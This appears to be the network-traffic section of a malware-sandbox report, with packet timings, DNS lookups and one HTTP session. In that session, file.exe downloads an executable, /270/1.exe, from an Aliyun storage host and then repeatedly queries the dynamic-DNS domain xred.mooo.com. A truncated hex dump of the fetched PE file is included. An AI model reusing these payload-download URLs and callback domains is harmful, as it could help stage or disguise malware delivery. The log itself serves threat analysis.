Jan 2, 2025 20:20:09.928097010 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.928108931 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.928117990 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.928128004 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.928128004 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.928155899 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.950517893 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.950540066 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.950551987 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.950562954 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.950575113 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.950586081 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.950598001 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.950608969 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.950622082 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.950654984 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.950687885 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.950851917 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.950862885 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.950875044 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.950891018 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.950901031 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.950913906 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.950921059 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.950925112 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.950954914 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.950993061 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.951242924 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.951261044 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.951271057 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.951327085 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.951345921 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.951364994 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.951376915 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.951387882 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.951397896 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.951412916 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.951427937 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.951457977 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.951904058 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.951989889 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.951999903 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.952011108 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.952022076 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.952027082 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.952038050 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.952048063 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.952073097 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.952073097 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.952125072 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.972259998 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.972330093 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.972362041 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.972372055 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.972388983 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.972400904 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.972412109 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.972424030 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.972430944 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.972434044 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.972492933 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.972492933 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.981520891 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.981533051 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.981544971 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.981589079 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.981641054 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.981821060 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.981832981 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.981843948 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.981882095 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.981893063 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.981893063 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.981904030 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.981915951 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.981935024 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.981957912 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.981977940 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.982032061 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.982043028 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.982053041 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.982064009 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.982074976 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.982085943 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.982095003 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.982095003 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.982096910 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.982108116 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.982119083 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.982129097 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.982131004 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.982141972 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.982168913 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.982168913 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.982215881 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.982959032 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.983015060 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.983027935 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.983045101 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.983057022 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.983067036 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.983078003 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.983095884 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.983095884 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.983102083 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.983114004 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.983123064 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.983133078 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.983159065 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.983159065 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.983170986 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.983189106 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.983196020 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.983201981 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.983217955 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.983221054 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.983228922 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.983238935 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.983248949 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.983249903 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.983261108 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.983270884 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.983283043 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.983289003 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.983333111 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.983333111 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.983366966 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.983378887 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.983390093 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.983411074 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.983441114 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.983453035 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.983455896 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.983494997 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.983511925 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.988584042 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.988595963 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.988606930 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.988634109 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.988646030 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.988657951 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.988668919 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.988683939 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.988720894 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.988720894 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.991780996 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.991791010 CET	80	49704	47.254.187.72	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 2, 2025 20:19:58.319252968 CET	192.168.2.8	1.1.1.1	0x2ddd	Standard query (0)	bruplong.oss-accelerate.aliyuncs.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:20:11.467420101 CET	192.168.2.8	1.1.1.1	0x1c4c	Standard query (0)	docs.google.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:20:12.236054897 CET	192.168.2.8	1.1.1.1	0x6eef	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:20:12.395451069 CET	192.168.2.8	1.1.1.1	0x43e2	Standard query (0)	freedns.afraid.org	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:20:12.847455978 CET	192.168.2.8	1.1.1.1	0x2f2c	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:20:18.920802116 CET	192.168.2.8	1.1.1.1	0x3d6c	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:20:25.718337059 CET	192.168.2.8	1.1.1.1	0xf298	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:20:32.964262962 CET	192.168.2.8	1.1.1.1	0xf7de	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:20:39.968439102 CET	192.168.2.8	1.1.1.1	0x4da6	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:20:46.827333927 CET	192.168.2.8	1.1.1.1	0x80a6	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:20:53.638922930 CET	192.168.2.8	1.1.1.1	0xe346	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:20:58.169974089 CET	192.168.2.8	1.1.1.1	0xa60f	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:21:03.857609987 CET	192.168.2.8	1.1.1.1	0x9aa0	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:21:10.670386076 CET	192.168.2.8	1.1.1.1	0xc196	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:21:15.202826977 CET	192.168.2.8	1.1.1.1	0x71dd	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:21:20.905595064 CET	192.168.2.8	1.1.1.1	0x1690	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:21:27.959682941 CET	192.168.2.8	1.1.1.1	0x16b0	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:21:34.940604925 CET	192.168.2.8	1.1.1.1	0xfbf	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:21:41.874228954 CET	192.168.2.8	1.1.1.1	0x4075	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:21:48.778762102 CET	192.168.2.8	1.1.1.1	0xc4f9	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:21:55.658071995 CET	192.168.2.8	1.1.1.1	0x6e51	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:22:00.295433998 CET	192.168.2.8	1.1.1.1	0x8389	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:22:05.969986916 CET	192.168.2.8	1.1.1.1	0x7f1f	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:22:12.976479053 CET	192.168.2.8	1.1.1.1	0xc5eb	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:22:18.239375114 CET	192.168.2.8	1.1.1.1	0x20ef	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:22:23.909255028 CET	192.168.2.8	1.1.1.1	0x4b7c	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:22:30.886490107 CET	192.168.2.8	1.1.1.1	0x75de	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 2, 2025 20:19:59.123770952 CET	1.1.1.1	192.168.2.8	0x2ddd	No error (0)	bruplong.oss-accelerate.aliyuncs.com	oss-acc-allline.aliyuncs.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 2, 2025 20:19:59.123770952 CET	1.1.1.1	192.168.2.8	0x2ddd	No error (0)	oss-acc-allline.aliyuncs.com	oss-acc-allline.aliyuncs.com.gds.alibabadns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 2, 2025 20:19:59.123770952 CET	1.1.1.1	192.168.2.8	0x2ddd	No error (0)	oss-acc-allline.aliyuncs.com.gds.alibabadns.com	eu-central-1.oss-acc.aliyuncs.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 2, 2025 20:19:59.123770952 CET	1.1.1.1	192.168.2.8	0x2ddd	No error (0)	eu-central-1.oss-acc.aliyuncs.com		47.254.187.72	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:20:11.474153042 CET	1.1.1.1	192.168.2.8	0x1c4c	No error (0)	docs.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:20:12.243402004 CET	1.1.1.1	192.168.2.8	0x6eef	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:20:12.521292925 CET	1.1.1.1	192.168.2.8	0x43e2	No error (0)	freedns.afraid.org		69.42.215.252	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:20:12.854857922 CET	1.1.1.1	192.168.2.8	0x2f2c	No error (0)	drive.usercontent.google.com		142.250.186.33	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:20:18.928317070 CET	1.1.1.1	192.168.2.8	0x3d6c	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:20:25.725485086 CET	1.1.1.1	192.168.2.8	0xf298	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:20:33.088004112 CET	1.1.1.1	192.168.2.8	0xf7de	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:20:39.975508928 CET	1.1.1.1	192.168.2.8	0x4da6	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:20:46.834753990 CET	1.1.1.1	192.168.2.8	0x80a6	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:20:53.646219969 CET	1.1.1.1	192.168.2.8	0xe346	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:20:58.177872896 CET	1.1.1.1	192.168.2.8	0xa60f	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:21:03.865092993 CET	1.1.1.1	192.168.2.8	0x9aa0	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:21:10.677774906 CET	1.1.1.1	192.168.2.8	0xc196	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:21:12.226496935 CET	1.1.1.1	192.168.2.8	0xa81c	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 2, 2025 20:21:12.226496935 CET	1.1.1.1	192.168.2.8	0xa81c	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:21:15.209928036 CET	1.1.1.1	192.168.2.8	0x71dd	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:21:20.912805080 CET	1.1.1.1	192.168.2.8	0x1690	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:21:27.967699051 CET	1.1.1.1	192.168.2.8	0x16b0	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:21:35.065159082 CET	1.1.1.1	192.168.2.8	0xfbf	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:21:41.883249998 CET	1.1.1.1	192.168.2.8	0x4075	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:21:48.786823988 CET	1.1.1.1	192.168.2.8	0xc4f9	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:21:55.784420013 CET	1.1.1.1	192.168.2.8	0x6e51	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:22:00.302906990 CET	1.1.1.1	192.168.2.8	0x8389	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:22:05.977365971 CET	1.1.1.1	192.168.2.8	0x7f1f	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:22:12.983784914 CET	1.1.1.1	192.168.2.8	0xc5eb	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:22:18.247303009 CET	1.1.1.1	192.168.2.8	0x20ef	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:22:24.022114992 CET	1.1.1.1	192.168.2.8	0x4b7c	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:22:30.893754005 CET	1.1.1.1	192.168.2.8	0x75de	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49704	47.254.187.72	80	4452	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2025 20:19:59.173172951 CET	304	OUT	GET /270/1.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: bruplong.oss-accelerate.aliyuncs.com Connection: Keep-Alive
Jan 2, 2025 20:20:00.022562981 CET	1236	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Thu, 02 Jan 2025 19:19:59 GMT Content-Type: application/octet-stream Content-Length: 830976 Connection: keep-alive x-oss-request-id: 6776E6DF78D3851A82C59DEC Accept-Ranges: bytes ETag: "D026CFE00B08DA14B0A8B7F8860887D7" Last-Modified: Sat, 02 Nov 2024 18:51:16 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 3464722037212978174 x-oss-storage-class: Standard x-oss-ec: 0048-00000109 Content-Disposition: attachment x-oss-force-download: true Content-MD5: 0CbP4AsI2hSwqLf4hgiH1w== x-oss-server-time: 25 Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8e 81 0b 01 02 19 00 9c 09 00 00 0e 03 00 00 00 00 00 80 ab 09 00 00 10 00 00 00 b0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 10 [TRUNCATED] Data Ascii: MZP@!L!This program must be run under Win32$7PEL^B@@B0P@!@CODE `DATAT.0@BSS.idataB*,@.tls
Jan 2, 2025 20:20:00.022583008 CET	224	IN	Data Raw: 00 00 10 00 00 00 00 30 0a 00 00 00 00 00 00 fc 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 72 64 61 74 61 00 00 39 00 00 00 00 40 0a 00 00 02 00 00 00 fc 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 2e 72 65 6c 6f 63 00 00 Data Ascii: 0.rdata9@@P.relocP@P.rsrc0@P@P
Jan 2, 2025 20:20:00.022593975 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: @Boolean@FalseTrue@,@Char@@IntegerX@Bytel@Wor
Jan 2, 2025 20:20:00.022605896 CET	224	IN	Data Raw: fa 64 75 ec 8b 06 8b 10 89 16 5e 5b c3 90 89 00 89 40 04 c3 8b c0 53 56 8b f2 8b d8 e8 9d ff ff ff 85 c0 75 05 33 c0 5e 5b c3 8b 16 89 50 08 8b 56 04 89 50 0c 8b 13 89 10 89 58 04 89 42 04 89 03 b0 01 5e 5b c3 8b 50 04 8b 08 89 0a 89 51 04 8b 15 Data Ascii: du^[@SVu3^[PVPXB^[PQIISVWUQ$]$PV;SS;uCCFF;CuCF;uVu3Z]_^[SVWU2C;
Jan 2, 2025 20:20:00.022802114 CET	1236	IN	Data Raw: 72 70 8b ce 03 4a 04 8b e8 03 6b 0c 3b cd 77 62 3b f0 75 1b 8b 42 04 01 43 08 8b 42 04 29 43 0c 83 7b 0c 00 75 48 8b c3 e8 39 ff ff ff eb 3f 8b ce 8b 7a 04 03 cf 8b e8 03 6b 0c 3b cd 75 05 29 7b 0c eb 2a 8b 0a 03 4a 04 89 0c 24 8b 7b 08 03 7b 0c Data Ascii: rpJk;wb;uBCB)C{uH9?zk;u){*J${{+\|$+su3;u3YZ]_^[SVW}sjh Vj;t#IluhjP3_^[SVWUC
Jan 2, 2025 20:20:00.022814989 CET	1236	IN	Data Raw: 10 83 c4 14 5d 5f 5e 5b c3 90 53 56 57 83 c4 ec 8b f9 89 14 24 8d 98 ff 3f 00 00 81 e3 00 c0 ff ff 8b 34 24 03 f0 81 e6 00 c0 ff ff 3b de 73 5b 8b cf 8b d6 2b d3 8b c3 e8 99 fd ff ff 8d 4c 24 04 8b d7 b8 fc e5 49 00 e8 5d fa ff ff 8b 5c 24 04 85 Data Ascii: ]_^[SVW$?4$;s[+L$I]\$tL$T$&D$D$D$D$\|$tT$I3_^[U3UhR@d2d"hI9=MIthI.II(Ixhj$I
Jan 2, 2025 20:20:00.022826910 CET	448	IN	Data Raw: f4 85 c0 75 10 a1 24 e6 49 00 89 5c 90 f4 89 5b 04 89 1b eb 3a 8b 10 89 43 04 89 13 89 18 89 5a 04 eb 2c 81 fe 00 3c 00 00 7c 0d 8b d6 8b c7 e8 ea fe ff ff 84 c0 75 17 a1 18 e6 49 00 89 1d 18 e6 49 00 8b 10 89 43 04 89 13 89 18 89 5a 04 5f 5e 5b Data Ascii: u$I\[:CZ,<\|uIICZ_^[@=I~@=I}I+I I I3 I3ISVW<$L$(I\$u3R;s)GGt$;s
